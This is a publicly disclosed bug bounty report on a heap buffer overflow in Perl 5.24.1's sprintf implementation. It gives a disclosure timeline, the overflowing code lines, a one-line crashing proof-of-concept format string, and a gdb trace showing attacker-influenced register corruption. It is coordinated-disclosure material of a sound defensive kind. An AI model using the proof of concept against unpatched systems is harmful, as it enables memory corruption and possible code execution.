HexBrain

Internet Bug Bounty · Report #271330

Format string implementation vulnerability, resulting in code execution

Validstatus
mediumseverity
$500bounty
7upvotes
13 Oct 2019disclosed

How it was found

In a security audit to the sprintf implementation in perl (version 5.24.1) I found a major security vulnerability, here are the full details. Timeline:

  • 6th of May, 2017 - disclosure to the PERL security mailing list
  • 8th of May, 2017 - vulnerability confirmed by PERL's security group, found relevant to all maintained branches
  • 9th of May, 2017 - patch issued to branches "blead"
  • 30th of May, 2017 - a patched 5.26 branch is released
  • 24th of August, 2017 - a patch was committed to the 5.24 branch, awaiting 5.24.3 release
  • 22nd of September, 2017 - 5.24.3 was released, announcing the format string vulnerability in the release notes - public disclosure by the project

Technical Details:

file: sv.c function: Perl_sv_vcatpvfn_flags

  • precis - represents a format's precision, and can be any size_t value
  • width - represents the format's width, and can be any non-negative size_t value
  • Using large values can cause multiple Integer-Overflows when calculating 'need' = the needed allocated space for a fraction
  • line 12300: need += has_precis ? precis : 6; /* known default */
  • later on more values are added to need (need += 20, ...)
  • Later on the use of 'width' for padding with spaces assumes that there is enough space in the buffer, causing a Buffer Overflow

PoC Script:

print sprintf("%2000.2000f this is a spacer %4000.4294967245a", 1, 0x0.00008234p+9);

Crash trace - tested on a 32 bit linux machine:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x080ebbe0 in Perl_runops_standard ()
(gdb) bt
#0  0x080ebbe0 in Perl_runops_standard ()
#1  0x08069356 in S_fold_constants ()
#2  0x080a8336 in Perl_yyparse ()
#3  0x08083219 in perl_parse ()
#4  0x0806218c in main ()
(gdb) info reg
eax            0x20202020    538976288
ecx            0x9f72900    167192832
edx            0x0    0
ebx            0x0    0
esp            0xbfe0e8c0    0xbfe0e8c0
ebp            0x9f6c4d0    0x9f6c4d0
esi            0x9f6f58c    167179660
edi            0x0    0
eip            0x80ebbe0    0x80ebbe0 <Perl_runops_standard+16>
eflags         0x10202    [ IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) x /10i $eip
=> 0x80ebbe0 <Perl_runops_standard+16>:    call   *0x8(%eax)
   0x80ebbe3 <Perl_runops_standard+19>:    test   %eax,%eax
   0x80ebbe5 <Perl_runops_standard+21>:    mov    %eax,0x8207a88
   0x80ebbea <Perl_runops_standard+26>:    
    jne    0x80ebbe0 <Perl_runops_standard+16>
   0x80ebbec <Perl_runops_standard+28>:    mov    0x8207290,%eax
   0x80ebbf1 <Perl_runops_standard+33>:    test   %eax,%eax
   0x80ebbf3 <Perl_runops_standard+35>:    
    jne    0x80ebc02 <Perl_runops_standard+50>
   0x80ebbf5 <Perl_runops_standard+37>:    movb   $0x0,0x82072b0
   0x80ebbfc <Perl_runops_standard+44>:    xor    %eax,%eax
   0x80ebbfe <Perl_runops_standard+46>:    add    $0xc,%esp

As you can see, the first %f print enlarged the buffer, and the controllable width in the second overflowed the buffer, causing eax to be corrupt (0x20 == ' '). The program itself crashed when tried to execute a pointer pointed by the controlled eax register (+8).

Threat Analysis:

This report demonstrates a potential code execution vulnerability, in case a sprintf format will be hostile. As format string attacks are relatively more popular on C/C++ languages, they are caused by the same programming bad practices:

  • "Generic" logging \ monitoring module that receives format + args, and build the message string

Such kind of vulnerabilities are still common in modern code projects, and during my career I found such vulnerabilities even in many high-profile companies. Since Perl (such as Python, and Ruby) is a memory-managed language, the programmer relies on the interpreter to "catch" problems for him, meaning that most programmers assume that these programs won't be vulnerable to format string attacks.

Conclusion:

The sprintf implementation has a severe vulnerability when handling a hostile format string. This vulnerability was demonstrated and can be easily leveraged into a remote code execution on the Perl interpreter (as I demonstrated previously in a similar vulnerability in a similar interpreter-based project).

Will be more than happy to answer any question regarding the ticket, Eyal Itkin.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original